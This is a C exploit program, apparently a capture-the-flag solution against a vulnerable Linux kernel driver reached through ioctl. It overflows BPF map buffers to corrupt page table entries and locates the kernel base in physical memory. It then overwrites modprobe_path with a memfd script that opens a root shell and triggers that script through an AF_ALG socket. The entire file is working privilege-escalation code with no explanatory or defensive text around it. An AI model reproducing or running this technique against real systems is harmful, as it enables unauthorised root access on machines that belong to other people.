1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501
|
#define _GNU_SOURCE
#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <signal.h> #include <string.h> #include <stdint.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sched.h> #include <ctype.h> #include <pthread.h> #include <sys/types.h> #include <sys/sem.h> #include <semaphore.h> #include <poll.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/shm.h> #include <sys/wait.h> #include <linux/keyctl.h> #include <sys/user.h> #include <sys/ptrace.h> #include <stddef.h> #include <sys/utsname.h> #include <stdbool.h> #include <sys/prctl.h> #include <sys/resource.h> #include <linux/userfaultfd.h> #include <sys/socket.h> #include <asm/ldt.h> #include <linux/if_packet.h> #include <linux/bpf.h> #include <bpf/libbpf.h> #include <linux/bpf_common.h> #include <linux/if_alg.h>
size_t buf[0x4000 / 8];
#define MEMCPY_HOST_FD_PATH(buf, pid, fd) sprintf((buf), "/proc/%u/fd/%u", (pid), (fd));
#define IOCTL_WRITE_CMD 0xdeadbeef #define IOCTL_READ_CMD 0xbeabdeef #define IOCTL_MAP_INIT 0xdeefbead #define IOCTL_MAP_DEL 0xbeefdffa
#define TLB_PAGESPRAY 1024 / 8
#define N_PAGESPRAY 0x200 #define VICTIM_MAP 0x10
void *page_spray[N_PAGESPRAY]; void *tlb_spray[TLB_PAGESPRAY]; int map_fd[VICTIM_MAP];
void err_exit(char *msg){ printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg); sleep(5); exit(EXIT_FAILURE); } void info(char *msg){ printf("\033[34m\033[1m[+] %s\n\033[0m", msg); } void hexx(char *msg, size_t value){ printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value); } void binary_dump(char *desc, void *addr, int len) { uint64_t *buf64 = (uint64_t *) addr; uint8_t *buf8 = (uint8_t *) addr; if (desc != NULL) { printf("\033[33m[*] %s:\n\033[0m", desc); } for (int i = 0; i < len / 8; i += 4) { printf(" %04x", i * 8); for (int j = 0; j < 4; j++) { i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" "); } printf(" "); for (int j = 0; j < 32 && j + i * 8 < len; j++) { printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.'); } puts(""); } }
void bind_core(int core){ cpu_set_t cpu_set;
CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core); }
size_t user_cs, user_ss, user_rflags, user_sp; void save_status(){ asm volatile ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("\033[34m\033[1m[*] Status has been saved.\033[0m"); }
int fd; struct ioctl_param { int idx; int fd; unsigned int size; void *buf; };
int init_cmd(int cmd_fd, int idx){ struct ioctl_param node; node.idx = idx; node.fd = cmd_fd; ioctl(fd, IOCTL_MAP_INIT, &node); }
int del_cmd(int idx){ struct ioctl_param node; node.idx = idx; ioctl(fd, IOCTL_MAP_DEL, &node); }
int read_cmd(int idx, int size, void* buf){ struct ioctl_param node; node.idx = idx; node.size = size; node.buf = buf; ioctl(fd, IOCTL_READ_CMD, &node); }
int write_cmd(int idx, int size, void* buf){ struct ioctl_param node; node.idx = idx; node.size = size; node.buf = buf; ioctl(fd, IOCTL_WRITE_CMD, &node); }
static inline int bpf(int cmd, union bpf_attr *attr){ return syscall(__NR_bpf, cmd, attr, sizeof(*attr)); }
static __always_inline int bpf_map_create(unsigned int map_type, unsigned int key_size, unsigned int value_size, unsigned int max_entries){ union bpf_attr attr = { .map_type = map_type, .key_size = key_size, .value_size = value_size, .max_entries = max_entries, }; return bpf(BPF_MAP_CREATE, &attr); }
int create_bpf_array_of_map(int fd, int key_size, int value_size, int max_entries) { union bpf_attr attr = { .map_type = BPF_MAP_TYPE_ARRAY_OF_MAPS, .key_size = key_size, .value_size = value_size, .max_entries = max_entries, .inner_map_fd = fd, };
int map_fd = syscall(SYS_bpf, BPF_MAP_CREATE, &attr, sizeof(attr)); if (map_fd < 0) { return -1; } return map_fd; }
static __always_inline int bpf_map_lookup_elem(int map_fd, const void* key, void* value){ union bpf_attr attr = { .map_fd = map_fd, .key = (uint64_t)key, .value = (uint64_t)value, }; return bpf(BPF_MAP_LOOKUP_ELEM, &attr); }
static __always_inline int bpf_map_update_elem(int map_fd, const void* key, const void* value, uint64_t flags){ union bpf_attr attr = { .map_fd = map_fd, .key = (uint64_t)key, .value = (uint64_t)value, .flags = flags, }; return bpf(BPF_MAP_UPDATE_ELEM, &attr); }
static __always_inline int bpf_map_delete_elem(int map_fd, const void* key){ union bpf_attr attr = { .map_fd = map_fd, .key = (uint64_t)key, }; return bpf(BPF_MAP_DELETE_ELEM, &attr); }
static __always_inline int bpf_map_get_next_key(int map_fd, const void* key, void* next_key){ union bpf_attr attr = { .map_fd = map_fd, .key = (uint64_t)key, .next_key = (uint64_t)next_key, }; return bpf(BPF_MAP_GET_NEXT_KEY, &attr); }
static __always_inline uint32_t bpf_map_get_info_by_fd(int map_fd){ struct bpf_map_info info; union bpf_attr attr = { .info.bpf_fd = map_fd, .info.info_len = sizeof(info), .info.info = (uint64_t)&info, }; bpf(BPF_OBJ_GET_INFO_BY_FD, &attr); return info.btf_id; }
#define VALUE_SIZE 0x1000 #define MAP_SPRAY 0x200 int spray_bpf_fd[MAP_SPRAY]; void spray_bpf_map(){ puts("[*] spray bpf map."); uint64_t *value = (uint64_t*)calloc(VALUE_SIZE, 1); for(int i = 0; i < MAP_SPRAY; i++){ spray_bpf_fd[i] = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), VALUE_SIZE, 1); if (spray_bpf_fd[i] < 0) perror("BPF_MAP_CREATE"), err_exit("BPF_MAP_CREATE"); }
free(value); }
void refresh_tlb(){ info("refresh tlb..."); for (int i = 0; i < TLB_PAGESPRAY; i++){ for (int j = 0; j < 8; j++){ *(char*)(tlb_spray[i] + j*0x1000) = 'A' + j; } } }
static void trigger_modprobe(){ struct sockaddr_alg sa;
int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0); if (alg_fd < 0) { perror("socket(AF_ALG) failed"); return ; }
memset(&sa, 0, sizeof(sa)); sa.salg_family = AF_ALG; strcpy((char *)sa.salg_type, "Qanux"); bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa)); }
int main(){ int shm_id, tmp_fd; int shell_stdin_fd; int shell_stdout_fd; int sync_pipe[0x10][2]; FILE *file; const char *filename = "/tmp/sh";
file = fopen(filename, "w"); if (file == NULL) { perror("Error opening file"); return 1; } fclose(file);
bind_core(0); save_status();
fd = open("/dev/vuln",O_RDWR); if (fd < 0){ err_exit("open device failed!"); }
info("Prepare pages for PTE"); for (int i = 0; i < N_PAGESPRAY; i++) { page_spray[i] = mmap((void*)(0xdead0000UL + i*0x10000UL), 0x8000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_SHARED, -1, 0); if (page_spray[i] == MAP_FAILED) err_exit("mmap"); }
info("Prepare pages for refresh tlb"); for (int i = 0; i < TLB_PAGESPRAY; i++) { tlb_spray[i] = mmap((void*)(0xdead0000UL + i*0x10000UL), 0x8000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_SHARED, -1, 0); if (tlb_spray[i] == MAP_FAILED) err_exit("mmap"); }
refresh_tlb(); spray_bpf_map();
for(int i = 0; i < (0x4000 / 8); i++){ buf[i] = 0x800000000009c067; }
puts("[*] Init map list(1)"); for(int i = 0; i < VICTIM_MAP / 2; i++){ map_fd[i] = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x1000, 1); if (map_fd[i] < 0) perror("BPF_MAP_CREATE"), err_exit("BPF_MAP_CREATE");
init_cmd(map_fd[i], i); }
puts("[*] Allocating PTEs..."); info("Allocate many PTEs (1)"); for (int i = 0; i < N_PAGESPRAY/2; i++){ for (int j = 0; j < 8; j++){ *(char*)(page_spray[i] + j*0x1000) = 'A' + j; } }
puts("[*] Init map list(2)"); for(int i = VICTIM_MAP / 2; i < VICTIM_MAP; i++){ map_fd[i] = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x1000, 1); if (map_fd[i] < 0) perror("BPF_MAP_CREATE"), err_exit("BPF_MAP_CREATE");
init_cmd(map_fd[i], i); }
info("Allocate many PTEs (2)"); for (int i = N_PAGESPRAY/2; i < N_PAGESPRAY; i++){ for (int j = 0; j < 8; j++){ *(char*)(page_spray[i] + j*0x1000) = 'A' + j; } }
puts("[*] tigger bpf map overflow"); for(int i = 0; i < VICTIM_MAP; i++){ write_cmd(i, 0x1000, buf); }
refresh_tlb();
puts("[+] Searching for overlapping page..."); void *wwwbuf = NULL; for (int i = 0; i < N_PAGESPRAY; i++) { if (*(size_t*)page_spray[i] > 0xffff) { wwwbuf = page_spray[i]; printf("[+] Found victim page table: %p\n", wwwbuf); break; } }
if (wwwbuf == NULL) err_exit("target not found :(");
printf("[+] wwwbuf data: %p \n", ((*(size_t*)wwwbuf)));
size_t phys_base = ((*(size_t*)wwwbuf) & ~0xfff) - 0x3e04000; printf("[+] Physical kernel base address: 0x%016lx\n", phys_base);
size_t modprobe_patch = phys_base + 0x2d64180;
for(int i = 0; i < (0x4000 / 8); i++){ buf[i] = (modprobe_patch & ~0xfff) | 0x8000000000000067;; }
for(int i = 0; i < VICTIM_MAP; i++){ write_cmd(i, 0x1000, buf); }
refresh_tlb();
shell_stdin_fd = dup(STDIN_FILENO); shell_stdout_fd = dup(STDOUT_FILENO);
int modprobe_script_fd = memfd_create("", MFD_CLOEXEC); int status_fd = memfd_create("", 0); printf("[*] modprobe_script_fd: %d, status_fd: %d\n", modprobe_script_fd, status_fd);
void *pmd_modprobe_addr = (void *)wwwbuf + 0x180;
for (pid_t pid_guess=0; pid_guess < 4194304; pid_guess++){ int status_cnt; char status_buf;
lseek(modprobe_script_fd, 0, SEEK_SET); dprintf(modprobe_script_fd, "#!/bin/sh\necho -n 1 1>/proc/%u/fd/%u\n/bin/sh 0</proc/%u/fd/%u 1>/proc/%u/fd/%u 2>&1\n", pid_guess, status_fd, pid_guess, shell_stdin_fd, pid_guess, shell_stdout_fd);
MEMCPY_HOST_FD_PATH(pmd_modprobe_addr, pid_guess, modprobe_script_fd);
if (pid_guess % 50 == 0){ printf("[+] overwriting modprobe_path with different PIDs (%u-%u)...\n", pid_guess, pid_guess + 50); printf(" - i.e. '%s' @ %p...\n", (char*)pmd_modprobe_addr, pmd_modprobe_addr); } lseek(modprobe_script_fd, 0, SEEK_SET); dprintf(modprobe_script_fd, "#!/bin/sh\necho -n 1 1>/proc/%u/fd/%u\n/bin/sh 0</proc/%u/fd/%u 1>/proc/%u/fd/%u 2>&1\n", pid_guess, status_fd, pid_guess, shell_stdin_fd, pid_guess, shell_stdout_fd);
trigger_modprobe();
status_cnt = read(status_fd, &status_buf, 1); if (status_cnt == 0) continue;
printf("[+] successfully breached the mainframe as real-PID %u\n", pid_guess);
goto pwn; }
printf("[-] Lose...\n"); exit(0); pwn:
puts("[+] EXP END."); return 0; }
|